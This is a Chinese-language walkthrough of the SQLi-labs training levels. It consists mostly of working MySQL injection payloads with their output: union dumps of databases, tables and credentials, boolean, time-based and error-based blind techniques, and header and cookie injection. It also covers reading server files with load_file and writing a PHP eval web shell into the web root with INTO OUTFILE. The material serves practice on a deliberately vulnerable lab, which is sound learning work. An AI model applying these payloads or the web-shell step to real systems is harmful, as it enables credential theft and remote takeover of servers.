SQLi-labs Basic Challenges

Error based

下面以 Less 1 GET-Error based-Single quotes-String 为例分析:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

id=1' 返回

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

id=1' or 1=1 --+ 正常返回结果。

id = 1' ORDER BY 3 --+ 正常返回结果。

id = 1' ORDER BY 4 --+ 返回Unknown column '4' in 'order clause', 判断 user表存在3列数据。

  • 爆数据库

id = -1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

SELECT * FROM users WhERE id = '-1' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata--+' LIMIT 0,1
  • 爆(security)数据表

id=-1' union select 1,group_concat(table_name),3 from information_schema.tables WHERE table_schema='security' --+

SELECT * FROM users WhERE id = '-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security' --+' LIMIT 0,1
  • 爆(users)列

id=id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema = 'security' AND table_name='users' --+

SELECT * FROM users WhERE id = '-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE  table_schema = 'security' AND table_name='users' --+` LIMIT 0,1
  • 爆数据

id=-1' UNION SELECT id,username,password FROM users WHERE id = 3 --+

SELECT * FROM users WhERE id = '-1' UNION SELECT id,username,password FROM  users WHERE id = 3 --+` LIMIT 0,1

Double Injection

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

id=1' or 1=1 --+回显You are in...........

布尔盲注

1.猜数据库名

利用left(version(),1)进行尝试,id=1' AND left(version(), 1)=5 --+回显正常。

  • length(database())查看数据库名长度,id=1' AND length(database())=8--+回显正常。

  • left(database(),1) > 'a'猜测数据库名,id=1' AND left(database(),1) > 'a' --+回显正常。

--> security

2.获取数据库下的表

利用substr()ascii() 函数进行尝试。

ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema = database() LIMIT 0,1), 1, 1)) = 101 #email
ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema = database() LIMIT 0,1),1,1))>80 #二分法

第一个表应为email,获取第二个表refers(LIMIT 1,1)。

ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema = database() LIMIT 1,1),1,1))>113--+ 

3.获取表中的列

利用regexp获取user表中的列。

# 测试表中是否包含 username 的列
1 = (SELECT 1 FROM information_schema.columns WHERE table_name='users' AND column_name regexp '^username' limit 0,1)--+

同理可判断usernamepassword等列是否存在。

4.获取表中的内容

#获取user表中username列的第一条记录的第一个字符的ascii与68(D)进行比较 --> Dumb
ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+

报错盲注

UNION SELECT 1,count(*),concat(0x3a, 0x3a, (SELECT user()),0x3a,0x3a,floor(rand(0)*2))a FROM information_schema.columns GROUP BY a--+


利用double数值类型超出范围进行报错注入:

UNION SELECT (exp(~(SELECT * FROM (SELECT user())a))),2,3 --+

利用bigint溢出进行报错注入:

UNION SELECT (!(SELECT * FROM (SELECT user())x) - ~0),2,4 --+

利用xpath函数报错注入:

# mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误 
AND extractvalue(1, concat(0x7e, (SELECT @@version), 0x7e)) --+
AND updatexml(1, concat(0x7e, (SELECT @@version), 0x7e), 1) --+

利用数据的重复性报错注入:

# mysql 重复特性,此处重复了 version,所以报错。
UNION SELECT 1,2,3 FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

延时注入

  • 利用sleep()函数进行注入:
# 当有错误时会有5s的时间延时
AND if(ascii(substr(database(),1,1)) = 115, 1, sleep(5)) --+
  • 利用 benchmark()进行延时注入:
# 结果正确时候将运行encode('MSG', 'by 5 seconds')操作50000000次,会占用一段时间
UNION SELECT (if(substring(current, 1, 1) = CHAR(115), benchmark(50000000, encode('MSG', 'by 5 seconds')), null)),2,3 FROM (SELECT database() as current) as tb1--+
  • 常见的延时注入方式
数据库类型 延时注入方式
MySQL BENCHMARK(100000, MD5(1)) / SLEEP(5)
PostgreSQL PG_SLEEP(5) / GENERATE_SERIES(1, 10000)
Mssql Server WAITFOR DELAY '0:0:5'

Less 5 Double Injection

eg: Less 5 GET-Double Injection-Single Quotes-String

id=1'回显near ''1'' LIMIT 0,1',表明为'闭合。

  • 查看数据库版本号

?id=1' and left(version(), 1)=5--+, 回显You are in...........,错误则回显空内容。

  • 查看数据库长度

?id=1' and length(database())=8--+,数据库长度为8

  • 猜数据库名
# 这里可以使用二分法
?id=1' and left(database(), 1)='s'--+ --> s
?id=1' and left(database(), 2)>'sa'--+ --> You are in
?id=1' and left(database(), 2)='se'--+ --> se
# 依次类推
?id=1' and left(database(), 8) = 'security'--+ --> security 
  • 获取security下的数据表
# 利用函数substr()、ascii()进行尝试
ascii(substr(select table_name from information_schema.tables where tables_schema=database() limit 0,1), 1, 1))=101 -> e
# 获取表的第二位
substr(table_name, 2, 1)
# 依次类推
table1_name = email
# 获取第二张表
limit 2,1
# 依次类推
table2_name = referers
  • 获取user表中的列

RegExp 正则匹配:参考链接

# 判断user表中是否含有名为username的列
and 1 = (select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
# 依次类推
username, password
  • 获取user表中的内容
# 利用函数ord()、mid()进行尝试
ORD(MID(SELECT IFNULL(CAST(username AS CHAR), 0X20) FROM security.users ORDER BY id limit 0,1),1,1))=68--+ --> D
# 以此类推
Dump

Less 6 替换 '" 即可。

Less 9 Blind Time-based

# Payload
# 猜测数据库
# 正确时直接返回,不正确时等待5秒
AND IF(ascii(substr(database(),1,1))=115,1,sleep(5))--+ -->s
# security
# 猜数据表
AND IF(ascii(substr(SELECT table_name FROM information_schema.tables WHERE table_shema='security' LIMIT 0,1))=101,1,sleep(5))--+
# emails, referers, uagents, users
# 猜Columns
AND IF(ascii(substr(SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 0,1)1,1)=1,1,sleep(5))--+
# id, username, password
# 猜字段
AND IF(ascii(substr((SELECT username FROM users LIMIT 0,1),1,1))=68,1,sleep(5))--+

Less 10 替换'"即可。

导入导出

load_file()导出文件

load_file():读取文件并返回文件内容为字符串。

使用条件 验证方式
A.拥有file权限 and (select count(*) from mysql.user()>0/*返回正常
B.文件必须位于服务器主机上
C.必须指定完整路径的文件 MySQL注入load_file常用路径
D.文件所有字节可读且文件内容必须小于max_allowed_packet

如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

实际注入中的难点:绝对的物理路径构造有效的畸形语句通过报错爆出绝对路径

参考:MySQL注入load_file常用路径

# 示例
select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92, 114,101,112,97,105,114,92,115,97,109)))
# Explain: 利用 hex()将文件内容导出来,尤其是 smb 文件时可以使用。
select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
# Explain:“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的 ASCII 代码
select 1,1,1,load_file(0x633a2f626f6f742e696e69)
# Explain:“c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e69”
select 1,1,1,load_file(c:\\boot.ini)
# Explain:路径里的/用 \\代替

文件导入到数据库

# The LOAD DATA statement reads rows from a text file into a table at a very high speed. 
LOAD DATA INFILE 'data.txt' INTO TABLE db2.my_table;
# eg: 将/tmp/t0.txt导入到表t0中,字符集设置为gbk,每项数据间的分隔符设置为\t,每行的结尾符设置为\n
LOAD DATA INFILE '/tmp/t0.txt' IGNORE INTO TABLE t0 CHARACTER SET gbk FIELDS TERMINATED BY '\t' LINES TERMINATED BY '\n'
# 错误代码为2时:文件不存在。
# 错误代码为13时: 没有权限,可以考虑/tmp等文件夹。

导入到文件

# Writes the selected rows to a file.
SELECT.....INTO OUTFILE 'file_name'

两种利用形式:

  • 直接导入文件
SELECT <?php @eval($_POST('mima'))?> INTO OUFILE "C:\\phpnow\\htdocs\\test.php"
  • 修改文件结尾

参考:sqlmap os shell解析

# 通常是用'\r\n'结尾,此处我们修改为自己想要的任何文件。0x16可以是一句话或其他任意文件。
SELECT versions() INTO outfile "c:\\phpnow\\htdocs\\test.php" LINES TERMINATED BY 0x16
# Tips
# 1.文件路径可能需要转义,具体看环境。
# 2.当前台无法导出数据的时候,可以尝试如下语句导出得到数据。
SELECT load_file('c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini') INTO outfile 'c:\\wamp\\www\\test.php'
# my.ini 当中存在 password 项(不过默认被注释)。

Less 7 Dump into outfile

  • 判断闭合方式

id=1'回显:near ''1'')) LIMIT 0,1 ' at line 1, 判断闭合方式为(('$id'))

  • 测试columns

ORDER BY 4回显You have an error in your SQL syntaxUnknown column '4' in 'order clause', 数据列数为3。

  • 导入一句话木马
# @@global.secure_file_priv /var/lib/mysql-files/
UNION SELECT 1,2,'<?php @eval($_POST["code"])?>' INTO outfile "/var/www/sqli_lab/sqli-labs-php7/Less-7/shell.php" --+

增删改函数介绍

# INSERT 增加记录
# 单条
INSERT INTO <表名> (字段1, 字段2, ...) VALUES (值1, 值2, ...);
# 多条
INSERT INTO students (class_id, name, gender, score) VALUES
  (1, '大宝', 'M', 87),
  (2, '二宝', 'M', 81);

# UPDATE 修改记录
UPDATE <表名> SET 字段1=值1, 字段2=值2, ... WHERE ...;

#DELETE 删除记录
DELETE FROM <表名> WHERE ...;

Less 17 Update Query-Error Based

uname=admin&passwd=1'&submit=Submit发包后得到回显:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin'' at line 1

SELECT username, password FROM users WHERE username= $uname LIMIT 0,1

判断注入点位于passwd,闭合方式为'

尝试xpath报错注入:

# 爆库
uname=admin&passwd=1' or updatexml(1,concat(0x7e,database(),0x7e),1)#&submit=Submit
# 回显: XPATH syntax error: '~security~'

# 爆数据表
uname=admin&passwd=' or updatexml(1, concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e),1)#&submit=Submit
# 回显:XPATH syntax error: '~emails,referers,uagents,users~'

# 爆列
uname=admin&passwd=' or updatexml(1, concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 3,1),0x7e),1)#&submit=Submit
# 回显: XPATH syntax error: '~id~' 
# 3 id 4 username 5 password

# 爆数据
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select username from users),0x7e),1)#&submit=Submit
# 回显:You can't specify target table 'users' for update in FROM clause
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select username from (select username from users)b limit 0,1),0x7e),1)#&submit=Submit
# 回显:XPATH syntax error: '~Dumb~'

通过查看代码我们发现:$uname=check_input($_POST['uname']);

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
  }

HTTP Injection

Less 18 Uagent field / Error based

username:admin,password:1;登录成功后显示IP(REMOTE_ADDR方式获取,不易伪造)以及User Agent信息, User-Agent字段存在注入点。

# Payload
User-Agent: ' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1
# 回显
XPATH syntax error: '~5.7.23-0ubuntu0.16.04.1~'

Less 19 Referer field / Error based

# code
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
# payload
' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1
# 回显
XPATH syntax error: '~5.7.23-0ubuntu0.16.04.1~'

Cookie: uname = admin' and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#

Less 21 、Less 22 cookie进行了base64 encode, 分别为单引号和双引号闭合,注入姿势相同~

参考: 《MySQL注入天书》